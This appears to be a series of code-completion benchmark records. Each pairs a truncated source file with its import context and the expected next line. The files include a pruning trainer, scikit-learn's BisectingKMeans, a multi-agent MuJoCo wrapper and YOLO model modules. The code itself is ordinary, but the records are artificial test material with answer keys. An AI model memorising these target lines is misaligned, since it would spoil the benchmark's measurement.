any(fk in n for fk in freeze_keywords)], "weight_decay": self.args.weight_decay, "lr": self.args.learning_rate }, { "params": [p for n, p in self.model.named_parameters() if any(nd in n for nd in no_decay) and not any(fk in n for fk in freeze_keywords)], "weight_decay": 0.0, "lr": self.args.learning_rate }, ] log_params(main_model_params, "main params") self.optimizer = AdamW( main_model_params, betas=(self.args.adam_beta1, self.args.adam_beta2), eps=self.args.adam_epsilon, ) if build_l0_optimizer and self.l0_module is not None: l0_params = [{ "params": [p for n, p in self.l0_module.named_parameters() if "lambda" not in n], "weight_decay": 0.0, "lr": self.additional_args.reg_learning_rate }] log_params(l0_params, "l0 reg params") self.l0_optimizer = AdamW(l0_params, betas=(self.args.adam_beta1, self.args.adam_beta2), eps=self.args.adam_epsilon, ) lagrangian_params = [{ "params": [p for n, p in self.l0_module.named_parameters() if "lambda" in n], "weight_decay": 0.0, "lr": -self.additional_args.reg_learning_rate }] log_params(lagrangian_params, "l0 reg lagrangian params") self.lagrangian_optimizer = AdamW(lagrangian_params, betas=(self.args.adam_beta1, self.args.adam_beta2), eps=self.args.adam_epsilon) if self.lr_scheduler is None: if self.additional_args.scheduler_type == "linear": self.lr_scheduler = get_linear_schedule_with_warmup( self.optimizer, num_warmup_steps=self.args.warmup_steps, num_training_steps=num_training_steps ) else: self.lr_scheduler = None def train(self): train_dataloader = self.get_train_dataloader() num_update_steps_per_epoch = len( train_dataloader) // self.args.gradient_accumulation_steps num_update_steps_per_epoch = max(num_update_steps_per_epoch, 1) #! 12272 if self.l0_module is not None: lagrangian_warmup_steps = self.additional_args.lagrangian_warmup_epochs * num_update_steps_per_epoch #! 24544 self.l0_module.set_lagrangian_warmup_steps(lagrangian_warmup_steps) logger.info(f"Prepruning finetune steps: {self.prepruning_finetune_steps}") logger.info(f"Lagrangian warmup steps: {lagrangian_warmup_steps}") if self.args.max_steps > 0: self.t_total = self.args.max_steps num_train_epochs = self.args.max_steps // num_update_steps_per_epoch + int( self.args.max_steps % num_update_steps_per_epoch > 0 ) else: self.t_total = int(num_update_steps_per_epoch * self.args.num_train_epochs) num_train_epochs = self.args.num_train_epochs self.args.max_steps = self.t_total self.create_optimizer_and_scheduler(num_training_steps=self.t_total, build_l0_optimizer = self.start_prune) model = self.model total_train_batch_size = ( self.args.train_batch_size * self.args.gradient_accumulation_steps * (torch.distributed.get_world_size() if self.args.local_rank != -1 else 1) ) logger.info("***** Running training *****") logger.info(" Num examples = %d", self.num_examples(train_dataloader)) logger.info(" Num Epochs = %d", num_train_epochs) logger.info(" Instantaneous batch size per device = %d", self.args.per_device_train_batch_size) logger.info( " Total train batch size (w. parallel, distributed & accumulation) = %d", total_train_batch_size) logger.info(" Gradient Accumulation steps = %d", self.args.gradient_accumulation_steps) logger.info(" Total optimization steps = %d", self.t_total) self.global_step = 0 self.epoch = 0 self.total_flos = 0 epochs_trained = 0 tr_loss = torch.tensor(0.0).to(self.args.device) reg_loss = torch.tensor(0.0).to(self.args.device) lag_loss = torch.tensor(0.0).to(self.args.device) logging_loss_scalar = 0.0 logging_reg_loss_scalar = 0.0 logging_lag_loss_scalar = 0.0 model.zero_grad() if self.l0_module is not None: self.l0_module.zero_grad() self.optimizer.zero_grad() if self.l0_optimizer is not None: self.l0_optimizer.zero_grad() if self.lagrangian_optimizer is not None: self.lagrangian_optimizer.zero_grad() disable_tqdm = self.args.disable_tqdm or not self.is_local_process_zero() train_pbar = trange(epochs_trained, int( np.ceil(num_train_epochs)), desc="Epoch", disable=disable_tqdm) # training for epoch in range(epochs_trained, int(np.ceil(num_train_epochs))): #! 20 epoch epoch_start = time.time() if isinstance(train_dataloader, DataLoader) and isinstance(train_dataloader.sampler, DistributedSampler): train_dataloader.sampler.set_epoch(epoch) epoch_iterator = train_dataloader # Reset the past mems state at the beginning of each epoch if necessary. if self.args.past_index >= 0: self._past = None epoch_pbar = tqdm(epoch_iterator, desc="Iteration", disable=disable_tqdm) self.eval_counter.clear() for step, inputs in enumerate(epoch_iterator): if (not self.start_prune) and (self.global_step == self.prepruning_finetune_steps): #! before pruning, run 12272 steps self.start_prune = True self.optimizer = None self.lr_scheduler = None lr_steps = self.t_total - self.global_step # reset the optimizer self.create_optimizer_and_scheduler(lr_steps, self.start_prune) logger.info("Starting l0 regularization!") if self.start_prune: if self.l0_module is not None: zs = self.l0_module.forward(training=True) #! get the zs self.fill_inputs_with_zs(zs, inputs) #! use the zs loss_terms = self.training_step(model, inputs) tr_loss_step = loss_terms["loss"] lag_loss_step = loss_terms["lagrangian_loss"] tr_loss += tr_loss_step lag_loss += lag_loss_step if lag_loss_step is not None else 0.0 self.total_flos += self.floating_point_ops(inputs) if (step + 1) % self.args.gradient_accumulation_steps == 0 or ( len(epoch_iterator) <= self.args.gradient_accumulation_steps and (step + 1) == len(epoch_iterator) ): torch.nn.utils.clip_grad_norm_( model.parameters(), self.args.max_grad_norm) self.optimizer.step() if self.l0_module is not None and self.l0_optimizer is not None: self.l0_optimizer.step() self.lagrangian_optimizer.step() if self.lr_scheduler is not None: self.lr_scheduler.step() if self.l0_module is not None: self.l0_module.constrain_parameters() model.zero_grad() if self.l0_module is not None: self.l0_module.zero_grad() self.optimizer.zero_grad() if self.l0_optimizer is not None: self.l0_optimizer.zero_grad() if self.lagrangian_optimizer is not None: self.lagrangian_optimizer.zero_grad() self.global_step += 1 self.epoch = epoch + (step + 1) / len(epoch_iterator) if (self.args.logging_steps > 0 and self.global_step % self.args.logging_steps == 0) or ( self.global_step == 1 and self.args.logging_first_step ): logs: Dict[str, float] = {} tr_loss_scalar = tr_loss.item() reg_loss_scalar = reg_loss.item() lag_loss_scalar = lag_loss.item() logs["loss"] = ( tr_loss_scalar - logging_loss_scalar) / self.args.logging_steps logs["reg_loss"] = ( reg_loss_scalar - logging_reg_loss_scalar) / self.args.logging_steps logs["lag_loss"] = ( lag_loss_scalar - logging_lag_loss_scalar) / self.args.logging_steps # backward compatibility for pytorch schedulers if self.lr_scheduler is not None: lr = self.lr_scheduler.get_last_lr()[0] if version.parse( torch.__version__) >= version.parse("1.4") else self.lr_scheduler.get_lr()[0] else: lr = self.args.learning_rate logs["learning_rate"] = lr logging_loss_scalar = tr_loss_scalar logging_reg_loss_scalar = reg_loss_scalar logging_lag_loss_scalar = lag_loss_scalar self.log(logs) if self.global_step % self.args.eval_steps == 0: # try: self.evaluate() # except: # self.save_model() epoch_pbar.update(1) if self.args.max_steps > 0 and self.global_step >= self.args.max_steps: break epoch_end = time.time() logger.info( f"Epoch {epoch} finished. Took {round(epoch_end - epoch_start, 2)} seconds.") epoch_pbar.close() train_pbar.update(1) if self.args.max_steps > 0 and self.global_step >= self.args.max_steps: break train_pbar.close() if self.args.past_index and hasattr(self, "_past"): # Clean the state at the end of training delattr(self, "_past") return TrainOutput(self.global_step, tr_loss.item() / self.global_step, None) def prediction_loop(self, dataloader: DataLoader, description: str, prediction_loss_only: Optional[bool] = None) -> PredictionOutput: prediction_loss_only = ( prediction_loss_only if prediction_loss_only is not None else self.args.prediction_loss_only ) # disable output hidden states and attention during evaluation self.model.config.output_hidden_states = False self.model.config.output_attentions = False model = self.model batch_size = dataloader.batch_size logger.info("***** Running %s *****", description) logger.info(" Num examples = %d", self.num_examples(dataloader)) logger.info(" Batch size = %d", batch_size) # Initialize containers # losses/preds/labels on GPU/TPU (accumulated for eval_accumulation_steps) losses_host = None preds_host = None labels_host = None # losses/preds/labels on CPU (final containers) all_losses = None all_preds = None all_labels = None model.eval() if self.args.past_index >= 0: self._past = None disable_tqdm = not self.is_local_process_zero() or self.args.disable_tqdm zs = None if self.start_prune and self.l0_module is not None: # Save current model int_dir = os.path.join(self.args.output_dir, "int") if not os.path.exists(int_dir): os.makedirs(int_dir) self.save_model(int_dir) # load model if "bart" in self.model.name_or_path:
Model = BartForConditionalGeneration
1
2023-10-13 02:32:26+00:00
12k
fury-05/BookRecomendApp
.pythonlibs/lib/python3.10/site-packages/sklearn/cluster/_bisect_k_means.py
[ { "identifier": "_fit_context", "path": ".pythonlibs/lib/python3.10/site-packages/sklearn/base.py", "snippet": "def _fit_context(*, prefer_skip_nested_validation):\n \"\"\"Decorator to run the fit methods of estimators within context managers.\n\n Parameters\n ----------\n prefer_skip_nested...
import warnings import numpy as np import scipy.sparse as sp from ..base import _fit_context from ..utils._openmp_helpers import _openmp_effective_n_threads from ..utils._param_validation import StrOptions from ..utils.extmath import row_norms from ..utils.validation import _check_sample_weight, check_is_fitted, check_random_state from ._k_means_common import _inertia_dense, _inertia_sparse from ._kmeans import ( _BaseKMeans, _kmeans_single_elkan, _kmeans_single_lloyd, _labels_inertia_threadpool_limit, )
10,764
init=init, max_iter=max_iter, verbose=verbose, random_state=random_state, tol=tol, n_init=n_init, ) self.copy_x = copy_x self.algorithm = algorithm self.bisecting_strategy = bisecting_strategy def _warn_mkl_vcomp(self, n_active_threads): """Warn when vcomp and mkl are both present""" warnings.warn( "BisectingKMeans is known to have a memory leak on Windows " "with MKL, when there are less chunks than available " "threads. You can avoid it by setting the environment" f" variable OMP_NUM_THREADS={n_active_threads}." ) def _inertia_per_cluster(self, X, centers, labels, sample_weight): """Calculate the sum of squared errors (inertia) per cluster. Parameters ---------- X : {ndarray, csr_matrix} of shape (n_samples, n_features) The input samples. centers : ndarray of shape (n_clusters=2, n_features) The cluster centers. labels : ndarray of shape (n_samples,) Index of the cluster each sample belongs to. sample_weight : ndarray of shape (n_samples,) The weights for each observation in X. Returns ------- inertia_per_cluster : ndarray of shape (n_clusters=2,) Sum of squared errors (inertia) for each cluster. """ n_clusters = centers.shape[0] # = 2 since centers comes from a bisection _inertia = _inertia_sparse if sp.issparse(X) else _inertia_dense inertia_per_cluster = np.empty(n_clusters) for label in range(n_clusters): inertia_per_cluster[label] = _inertia( X, sample_weight, centers, labels, self._n_threads, single_label=label ) return inertia_per_cluster def _bisect(self, X, x_squared_norms, sample_weight, cluster_to_bisect): """Split a cluster into 2 subsclusters. Parameters ---------- X : {ndarray, csr_matrix} of shape (n_samples, n_features) Training instances to cluster. x_squared_norms : ndarray of shape (n_samples,) Squared euclidean norm of each data point. sample_weight : ndarray of shape (n_samples,) The weights for each observation in X. cluster_to_bisect : _BisectingTree node object The cluster node to split. """ X = X[cluster_to_bisect.indices] x_squared_norms = x_squared_norms[cluster_to_bisect.indices] sample_weight = sample_weight[cluster_to_bisect.indices] best_inertia = None # Split samples in X into 2 clusters. # Repeating `n_init` times to obtain best clusters for _ in range(self.n_init): centers_init = self._init_centroids( X, x_squared_norms=x_squared_norms, init=self.init, random_state=self._random_state, n_centroids=2, sample_weight=sample_weight, ) labels, inertia, centers, _ = self._kmeans_single( X, sample_weight, centers_init, max_iter=self.max_iter, verbose=self.verbose, tol=self.tol, n_threads=self._n_threads, ) # allow small tolerance on the inertia to accommodate for # non-deterministic rounding errors due to parallel computation if best_inertia is None or inertia < best_inertia * (1 - 1e-6): best_labels = labels best_centers = centers best_inertia = inertia if self.verbose: print(f"New centroids from bisection: {best_centers}") if self.bisecting_strategy == "biggest_inertia": scores = self._inertia_per_cluster( X, best_centers, best_labels, sample_weight ) else: # bisecting_strategy == "largest_cluster" # Using minlength to make sure that we have the counts for both labels even # if all samples are labelled 0. scores = np.bincount(best_labels, minlength=2) cluster_to_bisect.split(best_labels, best_centers, scores)
"""Bisecting K-means clustering.""" # Author: Michal Krawczyk <mkrwczyk.1@gmail.com> class _BisectingTree: """Tree structure representing the hierarchical clusters of BisectingKMeans.""" def __init__(self, center, indices, score): """Create a new cluster node in the tree. The node holds the center of this cluster and the indices of the data points that belong to it. """ self.center = center self.indices = indices self.score = score self.left = None self.right = None def split(self, labels, centers, scores): """Split the cluster node into two subclusters.""" self.left = _BisectingTree( indices=self.indices[labels == 0], center=centers[0], score=scores[0] ) self.right = _BisectingTree( indices=self.indices[labels == 1], center=centers[1], score=scores[1] ) # reset the indices attribute to save memory self.indices = None def get_cluster_to_bisect(self): """Return the cluster node to bisect next. It's based on the score of the cluster, which can be either the number of data points assigned to that cluster or the inertia of that cluster (see `bisecting_strategy` for details). """ max_score = None for cluster_leaf in self.iter_leaves(): if max_score is None or cluster_leaf.score > max_score: max_score = cluster_leaf.score best_cluster_leaf = cluster_leaf return best_cluster_leaf def iter_leaves(self): """Iterate over all the cluster leaves in the tree.""" if self.left is None: yield self else: yield from self.left.iter_leaves() yield from self.right.iter_leaves() class BisectingKMeans(_BaseKMeans): """Bisecting K-Means clustering. Read more in the :ref:`User Guide <bisect_k_means>`. .. versionadded:: 1.1 Parameters ---------- n_clusters : int, default=8 The number of clusters to form as well as the number of centroids to generate. init : {'k-means++', 'random'} or callable, default='random' Method for initialization: 'k-means++' : selects initial cluster centers for k-mean clustering in a smart way to speed up convergence. See section Notes in k_init for more details. 'random': choose `n_clusters` observations (rows) at random from data for the initial centroids. If a callable is passed, it should take arguments X, n_clusters and a random state and return an initialization. n_init : int, default=1 Number of time the inner k-means algorithm will be run with different centroid seeds in each bisection. That will result producing for each bisection best output of n_init consecutive runs in terms of inertia. random_state : int, RandomState instance or None, default=None Determines random number generation for centroid initialization in inner K-Means. Use an int to make the randomness deterministic. See :term:`Glossary <random_state>`. max_iter : int, default=300 Maximum number of iterations of the inner k-means algorithm at each bisection. verbose : int, default=0 Verbosity mode. tol : float, default=1e-4 Relative tolerance with regards to Frobenius norm of the difference in the cluster centers of two consecutive iterations to declare convergence. Used in inner k-means algorithm at each bisection to pick best possible clusters. copy_x : bool, default=True When pre-computing distances it is more numerically accurate to center the data first. If copy_x is True (default), then the original data is not modified. If False, the original data is modified, and put back before the function returns, but small numerical differences may be introduced by subtracting and then adding the data mean. Note that if the original data is not C-contiguous, a copy will be made even if copy_x is False. If the original data is sparse, but not in CSR format, a copy will be made even if copy_x is False. algorithm : {"lloyd", "elkan"}, default="lloyd" Inner K-means algorithm used in bisection. The classical EM-style algorithm is `"lloyd"`. The `"elkan"` variation can be more efficient on some datasets with well-defined clusters, by using the triangle inequality. However it's more memory intensive due to the allocation of an extra array of shape `(n_samples, n_clusters)`. bisecting_strategy : {"biggest_inertia", "largest_cluster"},\ default="biggest_inertia" Defines how bisection should be performed: - "biggest_inertia" means that BisectingKMeans will always check all calculated cluster for cluster with biggest SSE (Sum of squared errors) and bisect it. This approach concentrates on precision, but may be costly in terms of execution time (especially for larger amount of data points). - "largest_cluster" - BisectingKMeans will always split cluster with largest amount of points assigned to it from all clusters previously calculated. That should work faster than picking by SSE ('biggest_inertia') and may produce similar results in most cases. Attributes ---------- cluster_centers_ : ndarray of shape (n_clusters, n_features) Coordinates of cluster centers. If the algorithm stops before fully converging (see ``tol`` and ``max_iter``), these will not be consistent with ``labels_``. labels_ : ndarray of shape (n_samples,) Labels of each point. inertia_ : float Sum of squared distances of samples to their closest cluster center, weighted by the sample weights if provided. n_features_in_ : int Number of features seen during :term:`fit`. feature_names_in_ : ndarray of shape (`n_features_in_`,) Names of features seen during :term:`fit`. Defined only when `X` has feature names that are all strings. See Also -------- KMeans : Original implementation of K-Means algorithm. Notes ----- It might be inefficient when n_cluster is less than 3, due to unnecessary calculations for that case. Examples -------- >>> from sklearn.cluster import BisectingKMeans >>> import numpy as np >>> X = np.array([[1, 1], [10, 1], [3, 1], ... [10, 0], [2, 1], [10, 2], ... [10, 8], [10, 9], [10, 10]]) >>> bisect_means = BisectingKMeans(n_clusters=3, random_state=0).fit(X) >>> bisect_means.labels_ array([0, 2, 0, 2, 0, 2, 1, 1, 1], dtype=int32) >>> bisect_means.predict([[0, 0], [12, 3]]) array([0, 2], dtype=int32) >>> bisect_means.cluster_centers_ array([[ 2., 1.], [10., 9.], [10., 1.]]) """ _parameter_constraints: dict = { **_BaseKMeans._parameter_constraints, "init": [StrOptions({"k-means++", "random"}), callable], "copy_x": ["boolean"], "algorithm": [StrOptions({"lloyd", "elkan"})], "bisecting_strategy": [StrOptions({"biggest_inertia", "largest_cluster"})], } def __init__( self, n_clusters=8, *, init="random", n_init=1, random_state=None, max_iter=300, verbose=0, tol=1e-4, copy_x=True, algorithm="lloyd", bisecting_strategy="biggest_inertia", ): super().__init__( n_clusters=n_clusters, init=init, max_iter=max_iter, verbose=verbose, random_state=random_state, tol=tol, n_init=n_init, ) self.copy_x = copy_x self.algorithm = algorithm self.bisecting_strategy = bisecting_strategy def _warn_mkl_vcomp(self, n_active_threads): """Warn when vcomp and mkl are both present""" warnings.warn( "BisectingKMeans is known to have a memory leak on Windows " "with MKL, when there are less chunks than available " "threads. You can avoid it by setting the environment" f" variable OMP_NUM_THREADS={n_active_threads}." ) def _inertia_per_cluster(self, X, centers, labels, sample_weight): """Calculate the sum of squared errors (inertia) per cluster. Parameters ---------- X : {ndarray, csr_matrix} of shape (n_samples, n_features) The input samples. centers : ndarray of shape (n_clusters=2, n_features) The cluster centers. labels : ndarray of shape (n_samples,) Index of the cluster each sample belongs to. sample_weight : ndarray of shape (n_samples,) The weights for each observation in X. Returns ------- inertia_per_cluster : ndarray of shape (n_clusters=2,) Sum of squared errors (inertia) for each cluster. """ n_clusters = centers.shape[0] # = 2 since centers comes from a bisection _inertia = _inertia_sparse if sp.issparse(X) else _inertia_dense inertia_per_cluster = np.empty(n_clusters) for label in range(n_clusters): inertia_per_cluster[label] = _inertia( X, sample_weight, centers, labels, self._n_threads, single_label=label ) return inertia_per_cluster def _bisect(self, X, x_squared_norms, sample_weight, cluster_to_bisect): """Split a cluster into 2 subsclusters. Parameters ---------- X : {ndarray, csr_matrix} of shape (n_samples, n_features) Training instances to cluster. x_squared_norms : ndarray of shape (n_samples,) Squared euclidean norm of each data point. sample_weight : ndarray of shape (n_samples,) The weights for each observation in X. cluster_to_bisect : _BisectingTree node object The cluster node to split. """ X = X[cluster_to_bisect.indices] x_squared_norms = x_squared_norms[cluster_to_bisect.indices] sample_weight = sample_weight[cluster_to_bisect.indices] best_inertia = None # Split samples in X into 2 clusters. # Repeating `n_init` times to obtain best clusters for _ in range(self.n_init): centers_init = self._init_centroids( X, x_squared_norms=x_squared_norms, init=self.init, random_state=self._random_state, n_centroids=2, sample_weight=sample_weight, ) labels, inertia, centers, _ = self._kmeans_single( X, sample_weight, centers_init, max_iter=self.max_iter, verbose=self.verbose, tol=self.tol, n_threads=self._n_threads, ) # allow small tolerance on the inertia to accommodate for # non-deterministic rounding errors due to parallel computation if best_inertia is None or inertia < best_inertia * (1 - 1e-6): best_labels = labels best_centers = centers best_inertia = inertia if self.verbose: print(f"New centroids from bisection: {best_centers}") if self.bisecting_strategy == "biggest_inertia": scores = self._inertia_per_cluster( X, best_centers, best_labels, sample_weight ) else: # bisecting_strategy == "largest_cluster" # Using minlength to make sure that we have the counts for both labels even # if all samples are labelled 0. scores = np.bincount(best_labels, minlength=2) cluster_to_bisect.split(best_labels, best_centers, scores)
@_fit_context(prefer_skip_nested_validation=True)
0
2023-10-07 13:19:48+00:00
12k
zbzhu99/madiff
third_party/multiagent_mujoco/src/multiagent_mujoco/mujoco_multi.py
[ { "identifier": "MultiAgentEnv", "path": "third_party/multiagent_mujoco/src/multiagent_mujoco/multiagentenv.py", "snippet": "class MultiAgentEnv(object):\n def __init__(self, batch_size=None, **kwargs):\n # Unpack arguments from sacred\n args = kwargs[\"env_args\"]\n if isinstanc...
import gym import numpy as np from gym.spaces import Box from gym.wrappers import TimeLimit from .multiagentenv import MultiAgentEnv from .obsk import build_obs, get_joints_at_kdist, get_parts_and_edges from .manyagent_ant import ManyAgentAntEnv as this_env from .manyagent_swimmer import ManyAgentSwimmerEnv as this_env from .coupled_half_cheetah import CoupledHalfCheetah as this_env
8,590
# using code from https://github.com/ikostrikov/pytorch-ddpg-naf class NormalizedActions(gym.ActionWrapper): def _action(self, action): action = (action + 1) / 2 action *= self.action_space.high - self.action_space.low action += self.action_space.low return action def action(self, action_): return self._action(action_) # orig_action = copy.deepcopy(action_) # normalized_action = self._action(action_) # print ('action: {}, normalized_action: {}'.format(orig_action, normalized_action)) # return normalized_action def _reverse_action(self, action): action -= self.action_space.low action /= self.action_space.high - self.action_space.low action = action * 2 - 1 return action class MujocoMulti(MultiAgentEnv): def __init__(self, batch_size=None, **kwargs): super().__init__(batch_size, **kwargs) self.scenario = kwargs["env_args"]["scenario"] # e.g. Ant-v2 self.agent_conf = kwargs["env_args"]["agent_conf"] # e.g. '2x3' ( self.agent_partitions, self.mujoco_edges, self.mujoco_globals,
# using code from https://github.com/ikostrikov/pytorch-ddpg-naf class NormalizedActions(gym.ActionWrapper): def _action(self, action): action = (action + 1) / 2 action *= self.action_space.high - self.action_space.low action += self.action_space.low return action def action(self, action_): return self._action(action_) # orig_action = copy.deepcopy(action_) # normalized_action = self._action(action_) # print ('action: {}, normalized_action: {}'.format(orig_action, normalized_action)) # return normalized_action def _reverse_action(self, action): action -= self.action_space.low action /= self.action_space.high - self.action_space.low action = action * 2 - 1 return action class MujocoMulti(MultiAgentEnv): def __init__(self, batch_size=None, **kwargs): super().__init__(batch_size, **kwargs) self.scenario = kwargs["env_args"]["scenario"] # e.g. Ant-v2 self.agent_conf = kwargs["env_args"]["agent_conf"] # e.g. '2x3' ( self.agent_partitions, self.mujoco_edges, self.mujoco_globals,
) = get_parts_and_edges(self.scenario, self.agent_conf)
3
2023-10-13 13:03:53+00:00
12k
hellloxiaotian/KDNet
models/common.py
[ { "identifier": "letterbox", "path": "utils/datasets.py", "snippet": "def letterbox(img, new_shape=(640, 640), color=(114, 114, 114), auto=True, scaleFill=False, scaleup=True, stride=32):\n # Resize and pad image while meeting stride-multiple constraints\n shape = img.shape[:2] # current shape [h...
import math import numpy as np import pandas as pd import requests import torch import torch.nn as nn import torch.nn.functional as F from copy import copy from pathlib import Path from torchvision.ops import DeformConv2d from PIL import Image from torch.cuda import amp from utils.datasets import letterbox from utils.general import non_max_suppression, make_divisible, scale_coords, increment_path, xyxy2xywh from utils.plots import color_list, plot_one_box from utils.torch_utils import time_synchronized
7,240
##### yolov5 ##### class Focus(nn.Module): # Focus wh information into c-space def __init__(self, c1, c2, k=1, s=1, p=None, g=1, act=True): # ch_in, ch_out, kernel, stride, padding, groups super(Focus, self).__init__() self.conv = Conv(c1 * 4, c2, k, s, p, g, act) # self.contract = Contract(gain=2) def forward(self, x): # x(b,c,w,h) -> y(b,4c,w/2,h/2) return self.conv(torch.cat([x[..., ::2, ::2], x[..., 1::2, ::2], x[..., ::2, 1::2], x[..., 1::2, 1::2]], 1)) # return self.conv(self.contract(x)) class SPPF(nn.Module): # Spatial Pyramid Pooling - Fast (SPPF) layer for YOLOv5 by Glenn Jocher def __init__(self, c1, c2, k=5): # equivalent to SPP(k=(5, 9, 13)) super().__init__() c_ = c1 // 2 # hidden channels self.cv1 = Conv(c1, c_, 1, 1) self.cv2 = Conv(c_ * 4, c2, 1, 1) self.m = nn.MaxPool2d(kernel_size=k, stride=1, padding=k // 2) def forward(self, x): x = self.cv1(x) y1 = self.m(x) y2 = self.m(y1) return self.cv2(torch.cat([x, y1, y2, self.m(y2)], 1)) class Contract(nn.Module): # Contract width-height into channels, i.e. x(1,64,80,80) to x(1,256,40,40) def __init__(self, gain=2): super().__init__() self.gain = gain def forward(self, x): N, C, H, W = x.size() # assert (H / s == 0) and (W / s == 0), 'Indivisible gain' s = self.gain x = x.view(N, C, H // s, s, W // s, s) # x(1,64,40,2,40,2) x = x.permute(0, 3, 5, 1, 2, 4).contiguous() # x(1,2,2,64,40,40) return x.view(N, C * s * s, H // s, W // s) # x(1,256,40,40) class Expand(nn.Module): # Expand channels into width-height, i.e. x(1,64,80,80) to x(1,16,160,160) def __init__(self, gain=2): super().__init__() self.gain = gain def forward(self, x): N, C, H, W = x.size() # assert C / s ** 2 == 0, 'Indivisible gain' s = self.gain x = x.view(N, s, s, C // s ** 2, H, W) # x(1,2,2,16,80,80) x = x.permute(0, 3, 4, 1, 5, 2).contiguous() # x(1,16,80,2,80,2) return x.view(N, C // s ** 2, H * s, W * s) # x(1,16,160,160) class NMS(nn.Module): # Non-Maximum Suppression (NMS) module conf = 0.25 # confidence threshold iou = 0.45 # IoU threshold classes = None # (optional list) filter by class def __init__(self): super(NMS, self).__init__() def forward(self, x): return non_max_suppression(x[0], conf_thres=self.conf, iou_thres=self.iou, classes=self.classes) class autoShape(nn.Module): # input-robust model wrapper for passing cv2/np/PIL/torch inputs. Includes preprocessing, inference and NMS conf = 0.25 # NMS confidence threshold iou = 0.45 # NMS IoU threshold classes = None # (optional list) filter by class def __init__(self, model): super(autoShape, self).__init__() self.model = model.eval() def autoshape(self): print('autoShape already enabled, skipping... ') # model already converted to model.autoshape() return self @torch.no_grad() def forward(self, imgs, size=640, augment=False, profile=False): # Inference from various sources. For height=640, width=1280, RGB images example inputs are: # filename: imgs = 'data/samples/zidane.jpg' # URI: = 'https://github.com/ultralytics/yolov5/releases/download/v1.0/zidane.jpg' # OpenCV: = cv2.imread('image.jpg')[:,:,::-1] # HWC BGR to RGB x(640,1280,3) # PIL: = Image.open('image.jpg') # HWC x(640,1280,3) # numpy: = np.zeros((640,1280,3)) # HWC # torch: = torch.zeros(16,3,320,640) # BCHW (scaled to size=640, 0-1 values) # multiple: = [Image.open('image1.jpg'), Image.open('image2.jpg'), ...] # list of images t = [time_synchronized()] p = next(self.model.parameters()) # for device and type if isinstance(imgs, torch.Tensor): # torch with amp.autocast(enabled=p.device.type != 'cpu'): return self.model(imgs.to(p.device).type_as(p), augment, profile) # inference # Pre-process n, imgs = (len(imgs), imgs) if isinstance(imgs, list) else (1, [imgs]) # number of images, list of images shape0, shape1, files = [], [], [] # image and inference shapes, filenames for i, im in enumerate(imgs): f = f'image{i}' # filename if isinstance(im, str): # filename or uri im, f = np.asarray(Image.open(requests.get(im, stream=True).raw if im.startswith('http') else im)), im elif isinstance(im, Image.Image): # PIL Image im, f = np.asarray(im), getattr(im, 'filename', f) or f files.append(Path(f).with_suffix('.jpg').name) if im.shape[0] < 5: # image in CHW im = im.transpose((1, 2, 0)) # reverse dataloader .transpose(2, 0, 1) im = im[:, :, :3] if im.ndim == 3 else np.tile(im[:, :, None], 3) # enforce 3ch input s = im.shape[:2] # HWC shape0.append(s) # image shape g = (size / max(s)) # gain shape1.append([y * g for y in s]) imgs[i] = im # update
warnings.filterwarnings("ignore") ##### NLA ##### def batched_index_select(values, indices): last_dim = values.shape[-1] return values.gather(1, indices[:, :, None].expand(-1, -1, last_dim)) def default_conv(in_channels, out_channels, kernel_size,stride=1, bias=True): return nn.Conv2d( in_channels, out_channels, kernel_size, padding=(kernel_size//2),stride=stride, bias=bias) class BasicBlock(nn.Sequential): def __init__( self, conv, in_channels, out_channels, kernel_size, stride=1, bias=True, bn=False, act=nn.PReLU()): m = [conv(in_channels, out_channels, kernel_size, bias=bias)] if bn: m.append(nn.BatchNorm2d(out_channels)) if act is not None: m.append(act) super(BasicBlock, self).__init__(*m) ##### end of NLA ##### ##### basic #### def autopad(k, p=None): # kernel, padding # Pad to 'same' if p is None: p = k // 2 if isinstance(k, int) else [x // 2 for x in k] # auto-pad return p class MP(nn.Module): def __init__(self, k=2): super(MP, self).__init__() self.m = nn.MaxPool2d(kernel_size=k, stride=k) def forward(self, x): return self.m(x) class SP(nn.Module): def __init__(self, k=3, s=1): super(SP, self).__init__() self.m = nn.MaxPool2d(kernel_size=k, stride=s, padding=k // 2) def forward(self, x): return self.m(x) class ReOrg(nn.Module): def __init__(self): super(ReOrg, self).__init__() def forward(self, x): # x(b,c,w,h) -> y(b,4c,w/2,h/2) return torch.cat([x[..., ::2, ::2], x[..., 1::2, ::2], x[..., ::2, 1::2], x[..., 1::2, 1::2]], 1) class Concat(nn.Module): def __init__(self, dimension=1): super(Concat, self).__init__() self.d = dimension def forward(self, x): return torch.cat(x, self.d) class Chuncat(nn.Module): def __init__(self, dimension=1): super(Chuncat, self).__init__() self.d = dimension def forward(self, x): x1 = [] x2 = [] for xi in x: xi1, xi2 = xi.chunk(2, self.d) x1.append(xi1) x2.append(xi2) return torch.cat(x1+x2, self.d) class Shortcut(nn.Module): def __init__(self, dimension=0): super(Shortcut, self).__init__() self.d = dimension def forward(self, x): return x[0]+x[1] class Foldcut(nn.Module): def __init__(self, dimension=0): super(Foldcut, self).__init__() self.d = dimension def forward(self, x): x1, x2 = x.chunk(2, self.d) return x1+x2 class Conv(nn.Module): # Standard convolution def __init__(self, c1, c2, k=1, s=1, p=None, g=1, act=True): # ch_in, ch_out, kernel, stride, padding, groups super(Conv, self).__init__() # self.conv = nn.Conv2d(c1, c2, k, s, autopad(k, p), groups=g, bias=False) # self.bn = nn.BatchNorm2d(c2) # self.act = nn.SiLU() if act is True else (act if isinstance(act, nn.Module) else nn.Identity()) self.conv = nn.Conv2d(c1, c2, k, s, autopad(k, p), groups=g, bias=False).cuda() self.bn = nn.BatchNorm2d(c2).cuda() self.act = nn.SiLU().cuda() if act is True else (act if isinstance(act, nn.Module) else nn.Identity().cuda()) def forward(self, x): # print('self.conv', self.conv.weight.device) # print('x', x.device) # print('conv-x', x.shape) # out = self.act(self.bn(self.conv(x))) out = self.act(self.bn(self.conv(x.cuda()))) # print('conv-out', out.shape) return out def fuseforward(self, x): return self.act(self.conv(x)) class RobustConv(nn.Module): # Robust convolution (use high kernel size 7-11 for: downsampling and other layers). Train for 300 - 450 epochs. def __init__(self, c1, c2, k=7, s=1, p=None, g=1, act=True, layer_scale_init_value=1e-6): # ch_in, ch_out, kernel, stride, padding, groups super(RobustConv, self).__init__() self.conv_dw = Conv(c1, c1, k=k, s=s, p=p, g=c1, act=act) self.conv1x1 = nn.Conv2d(c1, c2, 1, 1, 0, groups=1, bias=True) self.gamma = nn.Parameter(layer_scale_init_value * torch.ones(c2)) if layer_scale_init_value > 0 else None def forward(self, x): x = x.to(memory_format=torch.channels_last) x = 